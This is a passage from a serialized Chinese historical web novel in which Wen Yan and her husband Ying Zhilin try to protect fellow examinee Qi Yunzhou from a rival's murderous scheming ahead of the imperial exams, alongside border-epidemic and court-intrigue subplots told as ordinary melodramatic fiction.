闻颜许久听不到他的回答,就转过身来看他,就见咬着嘴唇,低垂着头不说话。 “你怎么了?”闻颜疑惑地问他。 应知林闷闷的开口:“我只是没想到,他竟如此卑鄙!自己没事考第一,就想这些旁门左道。” “对对对,依我看他霍耀行根本不是读书的料。 他哪像你啊。又当爹又当娘,抽空随便读读书,就学到一身的真本事,根本不怕那些宵小之徒。” 闻颜顺口哄道,一点不走心的样子。 应知林嘴角扯了扯,严肃道:“夫人放心,最近我会注意的,轻易不会出门。 我不会让那些宵小之徒有机可趁。 我还想考个状元回来,让你当一当这状元夫人。” “你自己小心,不过我跟孟家借了几个功夫高手过来,暗中保护你。 你就安心读书,也不必有太重的胜负心。 能考中自然是好,考不中就当积累经验了,不必太过较真。” “我听夫人的。”应知林撑着下巴,笑眯眯的看着闻颜。 幽深的眼眸,嫣红的唇瓣,俊美无俦的脸蛋是,看得人移不开眼。 果然,越是漂亮的男人越危险,一定要离远一点。 闻颜轻咳一声,转移话题:“你心里有数就好。 时间不早了,我就先回去了。你生活上有什么需要,就让大虎哥哥去‘清风小楼’找我或者佩儿,知道吗?” “好。”应知林应着,跟着起身,“我送你回去吧。” “不用了,我赶马车回去,明儿一早让佩儿把马车送回来。” “那好吧,你路上注意安全。”应知林没有坚持。 很轻易就退让了。 闻颜抱着瓜子,就朝外面走。 路上遇到好几个应知林的同窗,一一打过招呼。 闻颜坐上马车,她正要自己赶车走,忽然想到什么,又提醒应知林:“你听祁云舟还有来往吗?我听你说跟他有些往来,还算聊来得是吧!” “是。祁云舟?你找他有事?”应知林也不想的,可他就是没来由的,心里泛出酸味。 “他有住到这个小院里面吗?” 应知林摇摇头:“不曾。” 闻颜提醒道:“那件事,你也通知他一声,如果可以,最好让他也住到这里来。你们住得近,也好互相有个照应。” “你是说,霍耀行也会对他下手?”应知林大步走到闻颜跟前,压低了声音问。 闻颜嗯‘的’另‘嗯’的应了一声。 应知林不解:“可他上交只考了第九名,看起来对霍耀行造不成威胁,霍耀行不至于对他动手吧。” “一种直觉吧。 我总感觉他在藏拙。 霍耀行的性子,宁可错杀也不会放过。以防万一你还是让他注意一下吧。 最好能搬来跟你一起住,我找来的人就能同时保护你们两个。” 哪里是直觉,而是祁云舟强得可怕。 虽然乡试只考了二十三名,但在后面的两场考试当中,他像个考神一样大杀四方。 接边夺下会元、状元。 几乎要把霍耀行气炸。 那时候,他就想找人作掉祁云舟。 还是闻颜以‘天下没有不透风的墙’劝住了他。 与其杀死他,不如笼络他。 霍耀行还真去笼络了。 可惜祁云舟油盐不进,并且很得圣心。 霍耀行白忙活一场。 祁云舟是霍耀行控制不住的人。 霍耀行天性多疑善妒,他是不会让一个现在不如比,将却比他强,还控制不住的人存在的。 第377章:送香 应知林见闻颜如此认真,便也郑重地答道:“好,我明日就去找祁云舟,我一定让他与我同吃同住,同进同出。” 闻颜:“……”同吃同住,岂不是要睡一个被窝。 不行不行,曾经看过的某种画本子画面,开始在她脑海里乱钻。 她拍拍脸颊,摇散那些不该有的画面。 “不管怎么样,都以你的安全为先。” 北境边城。 不管大小城池,全部进入戒严状态。 这里的人,只准进,不准出。 孟迟飞站在城墙上,扶着腰间的配刀,眺望着城墙不远处新划拨出来的隔离区。 这时,一个传信兵来报。 孟迟飞头也不回,问道:“情况怎么样了?今日感染疫病的人数可有增加?” “回孟校尉的话,所有接触过疫病源头的人,全都控制在城墙外的隔离营帐之内。 三天过去,并没有新的染疫者。 还是只有抓到的那一人。” “不可大意,让大夫仔细守着,汤药一日三次不可间断。 城中的消杀也不可落下,石灰水、草木灰水都行。” “是!小的知道了。”传信兵说完,又急匆匆跑去城里各处通风报信。 孟迟飞长长叹了口气。 她千防万防,还是让乔装过的有狼人,带着疫病溜到了城门口。 好在守城的兵卒细心,那人在城门口盘查时,就发现了他的可疑之处。 嫌疑人连带与他接触过的所有人,全都送隔离起来,这才控制住了势态。 经此一事,城中风声鹤唳,百姓都尽量窝在家中不敢出门。 一切事情,都在控制范围内,孟迟飞却喜忧参半。 喜的是,有狼一族的疫病,应该发展到了无法控制的地步。 忧的是,有狼一族的病人越多,他们逃到边城找大夫的机率就越大,北境军和大庸百姓的处境就越危险。 他看了一会儿,正要去处理其他政务,又有传信兵送来新的信件。 孟迟飞打开信封,一目十行的看完:“其他城池,也出现了有狼一族的染疫者。” 事态越来越严重了。 传信兵急道:“孟校尉,这可怎么办啊?” 孟迟飞从容的扫他一眼:“怕什么!我们早有准备,按照我们定好的规矩行事,疫情就传播不出去。 我们这边出现的患疫者越多,就说明有狼一族的人越着急。” 孟迟飞的冷静沉着,也感染了传信兵,也渐渐冷静下来。 有狼一族的王之内,传出一道浑厚张狂的笑声。 “还是印谋士有先见之明,在天花扩散之时,就派染疫者去大庸的城池求医。 半个月过去,想必大庸城池里的人,染病者已经十之八九。” 有狼王哈哈大笑着,可见其心情有多好。 那位被他叫做印谋士的人,穿着大庸的服饰,就连五官长相也是大庸子民的长相。 印谋士却不像有狼王一般开心。 大庸的大夫、药材都比有狼一族好。 就算疫病传开,死亡人数恐怕也不及有狼一族的半数之多。 印谋士不放心,道:“以防万一,再派更多染疫的人过去。” “好好好!都听印谋士的,再派更多人过去。”有狼王完全丧失思考,全权信任印谋士。 印谋士却跟他不同心,离开时,脸上的厌恶之情,一闪而过。 京城。 津平侯府。 敬明媚的院子里。 只有敬明媚和杜鹃主仆二人。 敬明媚问道:“这个月闻如月还没去给霍耀行送熏香吧!” 杜鹃道:“不曾。” 敬明媚拿出一个香粉盒,放在桌子上:“把这个和她准备的香粉替换掉。” “是。”杜鹃应了一声,拿着香粉就离开了。 敬明媚端起茶杯,慢悠悠的喝茶。 霍耀行自己心肠坏,就觉得别人也不怀好意,会对他下手。 他把自己的院子严防死守,跟铁桶一般。 敬明媚的手轻易伸不进去。 好在来了个闻如月。 霍耀行最近以读书为重,闻如月无事都不得靠近他的院子。 闻如月不甘心独守空房,半月送一次的熏香料,被她改成三日一次,正好方便了敬明媚动手。 江柔儿应该快到了。 敬明媚放下茶盏,拿起香炉开始篆香。 稍息之后。 人未到,先传来一声娇媚造作的声音:“明媚姐姐,你找柔儿过来,所为何事啊?” 紧接着,就见江柔儿扭着水腰,妖妖娆娆的走了进来。 敬明媚用力地闭了闭眼睛。 自从江柔儿跟津平侯睡过之后,就妖艳得不像话了。 隔得老远,敬明媚都能闻到她身上的狐骚味儿。 敬明媚再睁开眼,脸上的神情已经变得热络,道:“柔儿妹妹,快坐。” “其实也没什么事,就是这几日我心里不舒服,我这几日想去寺庙里住几天祈福,就想问你要不要跟我一起去。” 江柔儿闻言,心中一喜。 敬明媚就跟个老鸡婆似的,无时无刻不盯着自己。 害得她都没机会去勾引霍耀行。 难得敬明媚肯出门,她岂会错过这次机会。 “我也想陪着明媚姐姐去寺庙里住,只是……我的癸水就在这几天,去寺庙里恐怕会冲撞了佛祖。”江柔儿一脸为难的道。 敬明媚眉头轻蹙,露出遗憾表情:“这样啊……那就只能委屈你留在家里了。” 敬明媚天生的媚骨,不需要多余的表情,只是轻轻一蹙眉,就是江柔儿一辈子都学不来的娇媚。 江柔儿揪着衣角,轻哼了一声。 她突然嗅了嗅空气:“明媚姐姐你燃的什么香?味道很特别,很好闻。” 这香闻起来甜丝丝的,有一种蜜桃的诱惑。 “这个啊,是丫鬟在外面随便买的。 对我来说,这味道太过少女了。”敬明媚把香盒往旁边推了推,还嫌弃地在鼻子前扇了扇。 “明媚姐姐不喜欢,剩下的能不能给我?我还挺喜欢的这个味道的。”江柔儿抱着敬明媚的胳膊,摇晃撒娇。 “你要喜欢,就拿去用吧。”敬明媚挥了挥手。 “那就多谢姐姐了。”江柔儿欢喜的拿过盒子,又应付了敬明媚几句,就离开了。 她迫不及待的,想要把这香料在津平侯身上试一试了。 第378章:要是断手断脚就好了 津平侯府的书房内。 江柔儿水蛇一般缠在津平侯的身上:“侯爷,我身上香吗?” 津平侯把脸埋在江柔儿胸间,猛吸一口气。 随后才声音沙哑地道:“香!知道吗,你现在就像一颗刚成熟的蜜桃,咬上一口,就汁水横流。 让我恨不得把你整个吞进肚子里。” 说着,他就迫不及待地开始扒江柔儿的衣裳。 两人很快就衣裳半挂,滚作一团。 霍宅对角的另一间书房门外。 闻如月妆容精致,身上穿着‘天衣布庄’最新款的衣裳。 “拿来吧。”她朝旁边伸出手。 丫鬟立即将一只精致小巧的香粉盒放在她手中。 “今天我打扮得这么漂亮,耀行一定会心动的吧。”闻如月深吸一口气,上前敲响书房的门。 “什么事?”好一会儿,书房里才传来应知林不耐烦的声音。 闻如月推开门走进去,嗓子夹了八个度:“耀行哥哥,还在忙吗?我给你带了些点心。你垫垫肚子再用功,好不好!” 闻如月把东西放在桌子上,扭腰一旋就到了霍耀行身后,双手搭在他肩上,顺着领口就往里滑。 霍耀行忽地伸出手,捉住了闻如月的手腕:“怎么是你?” “不是我,你还想是谁啊!”闻如月撒娇地跺跺脚,“你好几天都没回屋休息了,我过来关心关心你有错吗?” 霍耀行皱眉深吸一口气,抬头冷淡地看着闻如月:“不到一个月就春闱了,正是关键时候,你要我现在分心?耽误科举考试,你来负责?” 闻如月脸色一白。 她清楚霍耀行把科举看得有多重。 不止是霍耀行,就连她自己,也十分重视这次科举。 她能不能当上状元夫人,就看这一遭了。 “对不起嘛,我知道错了。我不是记得你的熏香用完了,给你送一点过来嘛。”闻如月连连道歉。 “我把熏香给你燃上就走。”闻如月委屈地撇了撇嘴,点完熏香,就真的依依不舍,一步三回头地离开了。 很快,外面传来敲门声。 “进来。”霍耀行应了一声。 一名侍卫走了进来:“公子,有何吩咐?” 霍耀行烦躁地靠在椅背里,仰头揉着眉心。 片刻之后,熏香缓缓飘满室。 “换了新的熏香?算了,这个味道也不错。” 霍耀行睁开眼睛,吩咐属下:“应知林和祁云舟,去把他们尽快解决掉。” “是。”侍卫应了一声,就快速退了出去。 时间如白驹过隙。 转眼就到了三月,再有五天就到了会试时间。 还是在霍耀行的书房里。 霍耀行面色阴沉地坐在圈椅里。 他的身边一名小厮打扮的人侍候着茶水。 桌案前的地上,跪着两个家仆打扮的人。 霍耀行把茶杯掷在地上:“大半个月过去了,只剩五天就到春闱了,那个麻烦怎么还没解决?” 小厮霍三,又另斟了一杯茶水侍候着。 “连两个手无缚鸡之力的书生都搞不定,你们就是一群废物!” 家仆连忙跪下请罪:“是属下办事不力,请公子责罚。” 那名霍三劝了霍耀行两句,霍耀行竟奇迹般地暂时收起了他的暴脾气。 霍三回头又催促两名家仆:“还不快把具体情况说出来。” 家仆连忙答道:“那个祁云舟,不知怎么回事,原本他单独一个人住得好好的,突然就搬去跟应知林同住。 那两个人,仿佛预料到我们会动手似的,整天窝在租来的院子里,就算出门,也是与其他租客一起。 从来没有落单时间,所以我们才没找到动手的机会。” “不愧是泥腿子出身,果然狡猾得很!”霍耀行气得又砸了一个砚台。 砚台里的墨汁撒了两个家仆一身。 两个家仆愣是没敢动一下。 霍三挥了挥手,让两名家仆先行下去。 两名家仆如蒙大赦,迫不及待地离开了书房。 霍三这才道:“公子,后面打算怎么做?是放过那两人……” “不!”霍耀行的眼神忽地变得阴沉,“绝对不能放过他们。” 应知林倒也罢了。 祁云舟不死,状元之位必定是他的。 自己此前的努力就白费了。 所以,祁云舟必须死,应知林只是个添头。 “山不来就我,我便去就山。既然他们不肯出门,那就让你去放火,把整座宅子都烧成灰烬。” 霍三哆嗦了一下:“公子,这样会不会闹得太大了?到时肯定会惊动官府,万一顺藤摸瓜查到我们头上……” “怕什么!有钱能使鬼推磨,只要我们钱给到位,多的是人愿意出来背锅。”霍耀行的眼神中,带着疯狂之意,“记得,将尾巴收干净一点。” “是!属下知道该怎么办了。”霍三应着。 霍耀行挥了挥手,示意霍三退下。 霍三刚转身,身体就是一僵。 他指着门口的窗户上,对霍耀行无声的道:“公子,外面有人。” 霍耀行顺着指示看过去,果然看见一个人影轮廓投射在窗纱上。 而那个身影,看着异常眼熟。 霍耀行看霍三。 霍三立刻小声道:“是少夫人。” 闻如月吗? 霍耀行哼笑一声:来得早不如来得巧。 原本他还担心会被官府的人查到。 但这一刻,他又有了新的主意。 霍耀行朝霍三使了个眼色,立即用忧愁的语气道:“霍三,你说我真的能考上状元吗?” “公子,您在担心什么?以您的才华,状元非您莫属。” “文无第一,武无第二。 应知林考了解元,其才华可见一斑。 最大的威胁却是那个祁云舟。 别看他现在名不见经传,其实他科考很厉害。 有他们压我一头,状元之位,我恐怕……” 霍三一副不敢置信的样表:“怎么会!公子你也很厉害的,要不上次喝了少夫人煲的汤,解元之位就是你的。” 霍耀行叹息一声:“正是因为没发挥好,我才无法评估我与他们之间的真实差距,我想扬长避短都没办法。” 霍三懊恼地道:“要是这两个人能在开考前出个意外,胳膊腿受伤的话就好了。” 第379章:用自己的丑脸吓退他 霍三道:“要是可以的话,我可以让那些意外发生……” “行了,别说这样的话。 大家都好好的,怎么可能会出意外……”霍耀行斥责霍三一声。 “是……属下知道了。公子,你还是太善良的。”霍三不甘心地应了一声。 ‘咣——’ 书房的门被人从外面推开。 闻如月大步走了进来:“霍三说得没错,夫君你就是太心软善良了。 这件事你不忍心,就让我来做。” 霍耀行斥责道:“你不要胡闹。 这种事,要是做得不干净,很容易惹祸上身的。” 霍三也在一旁帮腔,道:“少夫人,现在正是公子科举的紧要时候,名声不能有一点点瑕疵。您还是歇了这份心思吧。 就算公子只考一个普通的进士,也好过考上状元,又因为莫须有的怀疑,被革除功名要好。” 普通进士? 革除功名? 不行! 不可以! 前世的闻颜做了榜眼夫人。 自己怎能比她差。 这一世,她一定要把闻颜踩在脚下。 她脑子里只有胜过闻颜的胜负欲,就冲动地道:“放心吧,我不会动用侯府的力量,我会回娘家找人帮忙,到时就算暴露,也绝不会连累夫君,连累侯府。 就算查到我头上,我也会说是闻颜惹到我。” “如月……”霍耀行动情地唤着她的名字,一把将她拥入怀中,“如月你是天下最好的妻子,我今生今世都爱你!” 闻如月也一把回抱住他:“耀行哥哥,你在说什么傻话,夫妻一体,你好我才好。” 霍三悄悄退出书房。 夫妻俩抱在一起腻歪了一阵。 霍耀行才故作担心她,说道:“你做那些事时,可要千万小心,我不想你惹上麻烦。” “耀行哥哥,我这辈子最幸福的事,便是嫁给你。” 霍三守在门外,听着里面的死动静,一阵一阵的打哕。 一会儿之后,闻如月肿着嘴唇,俏脸微红地离开了书房。 霍耀行衣衫不整地来到门边。 他用丝帕擦完自己的手,又擦嘴唇和脸颊:“去盯着她。 三日之内她若是还没把人除掉,你就帮她一把。 点一把火,把整个宅子都毁了。” “可那里面还住着其他举子……”霍三还是有些怂了。 死一两个举人,跟死二三十个举人,还是有区别换。 前者是意外,后者肯定会严查,特别容易暴露。 霍耀行看穿霍三所想,便道:“你怕什么! 你就把现场伪装成书生熬夜看书,打翻油灯,引发了火灾。 到时死得越多,反而越不容易露出破绽。” 霍耀行丝帕摔在霍三脸上。 “我是在命令你,而不是在找你商量。 按照我的意思去执行,切记,做得干净些。” 霍三惴惴不安地应了一声:“是……” 应知林租住的院子外面,一条小直角的小巷子里,停着一辆朴素的青衣马车。 闻如月蹲在巷口,一边朝院门口张望,一边往手里哈气:“以前怎么没发现,应知林是属乌龟的。 我都在这里蹲守三日了,他竟然一次门都没出过。 还有那个叫奇……祁云舟的,盘在床上孵小鸡吗?” 再耽误下去,就到开考日,自己还怎么阻止他们上考场啊! 闻如月越想越心焦。 不成想,就在此时。 院子的门打开。 七八名书生从院中走了出来。 闻如月确定没有应知林,便催促手下:“快看看,走在中间那个,是不是祁云舟?” “是!真的是他!”丫鬟激动地拉着闻如月的手,这苦日子终于要结束了。 “快,上马车,悄悄跟上去。”闻如月一行人,立即追了上去。 祁云舟抱着一个包袱,和同伴们说说笑笑,朝‘一点墨’走去。 同伴们都在讨论,今天的抄书能换多少钱,是去‘天衣布庄’买羊毛衣裳? 还给买点肉回去,给自己打牙祭。 祁云舟早就想好,要用这些手稿换什么。 祁云舟家境殷实,供他科考的钱绰绰有余。 他之所以会到‘一点墨’抄书。 是因为他发现,在居民楼二层有个单间,里面摆放的都是孤本书籍。 而那个单间并不对外开放,想要进去读书,就要抄足够多的书稿。 如今,终于能翻阅他心心念念的手,他连脚步都轻快了许多。 很快,他们就到了‘一点墨’。 祁云舟很快就借阅到喜欢的书籍。 因为孤本珍贵,不得拿出店外。 祁云舟便在二楼墙角,随意找了个地方席地而坐,津津有味的看了起来。 当他草草读完这本书后,他才发现,此时已经夕阳西斜。 糟了! 同伴们还在等他! 祁云舟匆匆跑下楼,他在书店里找了一圈,也没看见自己的同伴。 还是苏合告知:“你看书入迷。你的同伴离开的时候,叫你一起,你一点反应都没有。 他们不忍打扰你看书,只好先行离开。 “说好要同出同归的,他们几个也太不仗义了。”祁云舟叹了口气。 二月时,应知林突然出现,叫他搬过去与他同住。 当时他吓得捂紧了衣领,以为应知林有特殊癖好。 直到应知林说有人会袭击他时,他才将信将疑。 如今,大半个月时间过去,所谓的袭击根本没有出现。 祁云舟越发觉得,应知林说的是个误会。 所以,他想也没想,就独自出了店,回家去。 殊不知,他前脚刚走,后脚就有人尾随而上。 路途走了一半,祁云舟也越发大胆起来:“知林兄小题大作,根本没有人……” 他正嘀咕着。 忽听路旁的巷中,传来一道女子的惊呼声:“你要干什么!你放我走!” 祁云舟好奇探头察看。 就见一名锦衣男子,将一名帷帽女子拦在巷子里。 “宁叹,你还记得我们第一次见面吗? 那时我就说过,你逃不出我的手掌心。 四年时间过去,你说我说得对吗?” 宁叹惊慌无措地往后躲:“谢琮弈,谢大公子,你想要什么样的女人没有? 为何要一直盯着我不放? 到底要我怎样做,你才肯放过我!” 宁叹抓着帷帽,准备孤注一掷,用自己的丑脸吓退他。 第380章:人丢了 “谢琮弈,我知道你看上的东西都要得到。 当初你不就是看上我这张脸吗? 如果我没有这张脸了,你会不会收手?” “你这是什么意思?”谢琮弈微微皱眉,“难不成,你还想毁了自己这张脸? 哈哈哈哈……” 谢琮弈突然笑出声,“脸难道想拿这个来威胁?你毁了脸,对我来说只是失去一个玩物,而你却会搭进去自己的一生,这样做有损失的只有你。” “损失?只有既得利益者才考虑损失。 像我这种早就失去所有的人,已经没有什么好损失的了。” 宁叹说着,已经准备死鱼网破。 “喂!” 巷口忽然传来一道声音。 “谢琮弈,这么多年过去了,你的脾气还是一点没有收敛。” 谢琮弈回过头来,看见对面的人后,当即嗤笑出声:“祁云舟,没想到是你! 我来京城也有个把月了,你一直躲着不肯见我,今天倒是出来英雄救美了。 你不舍是看上她了吧! 真是好笑,抢我东西的臭毛病,到现在你还没改吗?” “少用你的龌龊心思来衡量别人,我只是路见不平而已!” 祁云舟大步走过去,隔在谢琮弈和宁叹之间:“这位姑娘,请快走吧。” “多谢!”宁叹朝祁云舟行了一礼,转身就跑出巷子。 谢琮弈忽然推了祁云舟一把:“祁云舟,这几年我没收拾你,是不是给你脸了,你还敢插手我的事。” 祁云舟斯文的道:“怎么,你又想打我?这么多年,你也同样没什么长进,手段还是这么低劣。 以你这样的沉府和手段,真的能继任谢家的家主之位吗?” “你……”谢琮弈深吸一口气,努力控制着自己的脾气,“祁云舟,你放心,很快我就会把你收拾得服服帖帖。” 谢琮弈放完狠话,就气冲冲的大步离开了。 祁云舟身心舒畅,朝巷口走去。 其他同伴应该到家了,应知林没看见自己,应该会担心的吧! 他加快了脚步。 忽地,斜刺里伸出来一双手,用一张帕子捂住了她的嘴巴。 “唔唔……”他没挣扎两下,身体发软,就擒却意识。 小院。 应知林看了一整天的书,有些腰酸背痛。 他起身伸了个懒腰,就听见外院传来说话声。 是下午出去的人回来了。 那祁云舟也平安到家了。 应知林松了一口气,就去了前院凑热闹。 这一看不要紧,找了一圈竟没发现祁云舟的身影。 “祁云舟呢?他怎么没跟你们一起回来?” “祁云舟在‘一点墨’看书看入迷了,我们叫都叫不答应他,所以就先回来了。” “现在天色也不早了,想必他很快就会回来了。” 外院的同伴们解释道。 他们不知隐患,所以对祁云舟晚回来不以为意,甚至觉得这是再正常不过的事。 要是真的有人盯上了祁云舟,他一个人步行回家就太危险了。 “不行,我要去接他!”应知林扔下这一句话,就急匆匆地跑向马厩。 不时,他就骑着马出了门。 同伴们面面相觑:“应兄对祁兄,是不是过于关心了?” “我对我娘子都没这么紧张过!” “难不成……应兄有龙阳之癖,看上祁兄了吧。”有人玩笑道。 其他人却沉默了。 不怪他们乱想,实在是这两人最近的行为很反常。 不仅同吃同住,应知林还管束祁云舟,不让他们出去。 “应兄长得那么俊,祁兄也不吃亏的。”气氛实在尴尬,有人活跃气氛。 “……也对哈!应兄若是个女子,必定是大庸第一美人。他若是能看上我,我也能选择性的弯一下……” “太可惜了,应兄看上的人不是我……”气氛很快又嘻嘻哈哈,欢快起来。 龙阳之风也不是什么稀罕事。 好些人家,在儿子成婚前,都会安排一两个貌美的小厮,帮少爷公子排遣需要。 “你们别胡说。”顾惇忽然站出来澄清道。 顾惇是应知林的师兄,秋闱考上了举人,这次他也要参加春闱。 众人尴尬:“我们只是开个玩笑。” “开玩笑也不行。”顾惇郑重地道,“知林成婚了,为了哄他妻子开心,他都快成妻奴了。 若是你们刚才说的流言,传到他妻子的耳中,他妻子一气之下不要他了,你们可赔不起一人妻子给他。” 有人好奇:“那他这么在意祁云舟做什么?” 顾惇叹气一声:“还不是因为他妻子的一句话,她说感觉祁云舟在春闱前会出事。 知林为了让妻子安心,就只能一直盯着祁云舟了。 否则,像他这种书虫,有时间不用来看书哄妻子,干嘛浪费在祁云舟身上。” 众人听得龇牙咧嘴,打趣应知林:“没想到应兄竟是这样的男子。” “放在我们那儿,就叫耙耳朵。” 也有人好奇:“应兄看上他夫人什么了?他夫人看也不是顶顶漂亮。” 顾惇师兄道:“这是他们夫妻之间的事,我如何会知道。 这大概就是那种:是什么锅,就配什么盖吧!” 众人哄笑出声,这件事就这么揭过了。 顾惇师兄洋洋得意:今天帮应师弟解决了一个大麻烦,看他拿什么报答我! 应知林骑着马,一路来到‘一点墨’。 ‘一点墨’已经摘下了幌子,正准备打烊。 “苏合,祁云舟呢?他在哪儿?” “祁书生已经走了啊!都离开有半个时辰了。” “什么!” 应知林大急,“你快去告诉颜儿,祁云舟不见了。” 苏合心知出了大事,不敢耽搁半秒,把店铺交给小二,就朝‘清风小楼’狂奔。 应知林提醒她:“骑马去。” 苏合又跑回来,冲回后院找了一匹马,再次奔驰而动。 应知林也沿着回去的路,一边打听一边找人。 祁云舟虽是书生打扮,但因为春闱,京城到处都是书生,所以祁云舟的特征就不明显。 应知林问了两条街,都没什么头绪。 他一个人挨着问,效率太低了。 得想个别的办法才行。 就在这里,就见闻颜背着一个包袱,骑着马赶到了。 第381章:废掉双手 “驾——” 此时街上已经没多少人,闻颜打马而来。 “颜颜!”应知林朝闻颜用力挥着胳膊。 闻颜勒停马儿,翻身下马。 “颜颜,祁兄丢了。”应知林立即迎了上去,他神情紧张,眼眶都微微泛着红。 “究竟怎么回事?” 应知林将事情大致说了一遍:“我来的路上,根本没有看见他。 我有十足的理由怀疑,他已经遭遇不测。” 应知林很是担心。 “是霍耀行动手了。” 闻颜抓住他的胳膊,“别慌张失了分寸,我们一起去找人。活要见人,死要见尸! 就算祁云舟遭遇不测,我们也要找到他,为他报仇!” 闻颜取下包袱,从中拿出一叠画像:“我们用它去找,应该会快一些。” “好。”应知林应了一声,“我去找些人来帮忙。” “不用,我已经安排人手了。”她话音刚落,就见佩儿带着一群婶子、婆子朝他们跑来。 她们都是在‘清风小楼’里打家帮工。 闻颜每人发了一张画像,就让他们散出去四处打听。 不多一会儿,就有一位婶子,气喘吁吁的跑了回来。 递给闻颜一个香囊:“我们在一条巷子里发现了这个。 姑爷说地上有蹬地和拖行的痕迹。 姑爷顺着拖行的痕迹,又找到了马车辙。 姑爷他自己追出去了,就让我回来告诉东家去京兆府报官。” 香囊的款式简单且陈旧,边角甚至已经磨得起毛,应是主人经常佩带。 并不是值钱的东西,却可以看出主人对它的喜爱。 “他一个追出去了吗?”闻颜急问。 霍耀行手下有不少高手。 应知林的三脚猫功夫,恐怕在对方手下撑不过一盏茶的功夫。 “不好,应知林有危险!” 霍耀行刚绑走了祁云舟,就等着应知林落单,他们才有机会下手。 应知林单独追出去,这是主动送上门! “他们往哪里走了?你快带我去!” 婶子也慌了:“好……我这就带你去。” 到了应知林追出去的巷子,闻颜就吩咐婶子:“你去找佩儿,让她拿着香包去京兆府报官,就说大量会试举子失踪了。” 闻颜说完,也跟着痕迹追了出去。 报官! 她一辈子都没跟官爷打过交道。 吓得双腿都软了。 婶子捧着香囊,哆哆嗦嗦的跑去找佩儿了。 京城的西南角,有一处五进四跨的豪宅。 二十几年前,豪宅的原主一家,一百二十八口人,一夜之间被全部灭口。 宅子也被一把大火,付之一炬。 豪宅几次易主,但凡接手住进来的人,都说这宅子闹鬼。 最后,这偌大的宅子便空置下来。 因为闹鬼,就连乞丐都不愿意住在这里。 久而久之,这座宅子就彻底荒废下来,就连附近的住户都受到影响。 一致将院门封了起来,开在别的方位。 让这条巷子越发的冷幽阴森。 长年无人造访的巷子。 今日却突然来了一辆马车,停在垮掉的院门口。 马车帘子被掀起,闻如月在丫鬟的搀扶中下了马车。 他们走进那座废宅之中。 当即就有四个小厮,扛着一个被麻袋套了上半身的人,跟了进来。 他们将麻袋粗暴的扔在地上。 麻袋里一声‘嘤咛’,人就醒了过来,在地上扭动着,发出呜呜的声音。 闻如月用手帕捂着口鼻,“一股霉味儿,臭死了。赶紧的,把他的两条胳膊废了。” 随即,四名小厮就扑了上去。 三人按住麻袋,另一人搬起一块脑袋大的石头,对着被强行展开的胳膊,用力砸了下去。 “唔……”麻袋里的人痛苦地挣扎惨叫,很快就晕了过去。 “少夫人,他的右手已经废了,没有一年半载,别想提笔写字。” “行了,撤吧。”闻如月嫌弃地说完,转身就往外走。 走了两步,她又停了下来。 “有些人是左撇子,要杜绝一切可能。”她再次对四个小厮吩咐道,“去,把另一条胳膊也废了。” 四名小厮如法炮制,很快就把他的另一条胳膊也废了。 痛晕过去的人,再次痛醒过来。 闻如月满意地看着痛得在地上哀嚎的人。 这时,她的贴身丫鬟急匆匆地跑来,指着麻袋里的人禀报道:“少夫人,应知林正在找这个人。他现在落单了,正朝这边过来。” “正愁找不到他呢!来得正是时候!”闻如月面露喜色,转身就走,“走,我们去巷子里堵他。” 断了双臂的人,忍着手臂上的巨痛,挣扎着从麻袋里脱困。 不是应知林和闻颜找疯了的祁云舟又是谁。 祁云舟脸色煞白,额头上全是冷汗。 “原来,应兄说的都是真的。” 他低头看着自己断掉的两条胳膊,眼中是无尽的悔恨。 他不该不当回事的。 现在害人害己。 刚才他们的对话,他都听在耳中。 他们害了自己不够,还想去害应兄! 不行! 他已经出事了,不能再连累应兄。 他要去给应兄通风报信! 让他快跑! 他扭动着身体坐起来,踉跄着往外走。 刚到垮塌的院门口。 废墟里突然钻出两名男子。 他们手里拿着很常见的洗衣锤。 祁云舟还没反应过来,就感觉胸口被人踹了一脚,人也倒飞出去。 砰—— 一声巨响。 祁云舟狠狠砸在地上,五脏六腑被搅碎了一般的痛。 “你们是谢琮弈的人?”祁云舟吐出一口血沫子,“没想到,这么多年过去了,他不仅没有长进,手段反而越来越龌龊卑鄙……” 他的话还没说完,对面两人就拿着洗衣锤冲向了他,将他往死里打! 距离此处不远的巷子口。 应知林被人被四名蒙面小厮拦住去路。 应知林瞬间猜到他们的身份:“祁云舟就在前面?你们对他做了什么?” 他锐利目光,将他们从上到下打量一遍,默默将挂腰间的荷包摘下来,揣进怀里。 这荷包是颜颜一针一线给自己缝的,可不能磕着碰着,更不能弄脏了。 “既然这么好奇,就下去陪他吧!”他们大喝一声,就一拥而上。 应知林脱下外面的长衫,在手里扭成一股,当做武器。 那只是四名普通小厮,应知林又学了些自保手段。 四对一竟打得有来有回,一时间分不出胜负。 这可不行! 祁云舟生死不知,他多耽误一秒,祁云舟就多一分危险。 第382章:趁机媾和 津平侯府。 霍耀行的书房内。 霍三匆匆来到书房。 霍耀行悠哉悠哉地品着茶:“怎么样了?那两个人解决掉了吗?” 霍三道:“世子请放心,祁、应二人都已经落在少夫人手里。” 霍三说到这里,又稍稍犹豫了一下。 霍耀行瞥他一眼:“有话就直说,吞吞吐吐做什么?霍三,我身边不养扭捏之人。” 霍三连忙回道:“回世子的话,咱们的少夫人属实有些心软,竟然只将姓祁的双手废了。 她现在带着人堵住了应知林,看他对应知林的态度,似乎比对祁云舟还要狠一些。” 霍三心中腹诽。 到底曾经有过婚约,少夫人处理起应知林来,竟是一点不手软。 霍耀行却冷笑一声。 闻如月对应知林的恨,没有人比他更清楚。 闻如月将自己的一切不如意,都怪罪在应知林身上。 恨应知林是个短命鬼。 也恨应知林是个天阉假太监。 她更恨他是个没用的废物,不能考科举,给她挣来诰命,当有头有脸的官夫人。 他早就想报复应知林了。 只是一直没有合适的机会。 现在自己将机会送到她手里,她怎么可能会手下留情。 两世积怨,她定会一次性全部报复回去。 霍耀行冷笑一声,吩咐霍三:“那两人,都不能留活口,知道该怎么做了吗?” 霍三立即跪拜:“螳螂捕蝉,黄雀在后。 世子爷您就放心吧,只有死人的嘴最严,我早就安排好了,不会让他们有机会,带着一口气,见到外人。” “你办事我放心,去吧。这件事情做好了,等我高中状元,承袭爵位,少不了你的好处。” “多谢世子爷赏!”霍三殷勤地鞠躬一拜,转身就离开了书房。 霍耀行又浅啜了一口茶水。 除去两个心腹大患,霍耀行身心愉悦。就连这茶水,都比刚才甘甜了许多。 忽然。 外面传来敲门声。 霍耀行心情很好地应道:“什么人?” 门外传来一道娇媚的声音:“世子爷,是我,柔儿。” 柔儿? 莫非是母亲身边的丫鬟? 他应了一声:“进来。” 随即,房门被推开。 一名身姿袅娜的女子,扭着水蛇腰,提着一只食盒走了进来。 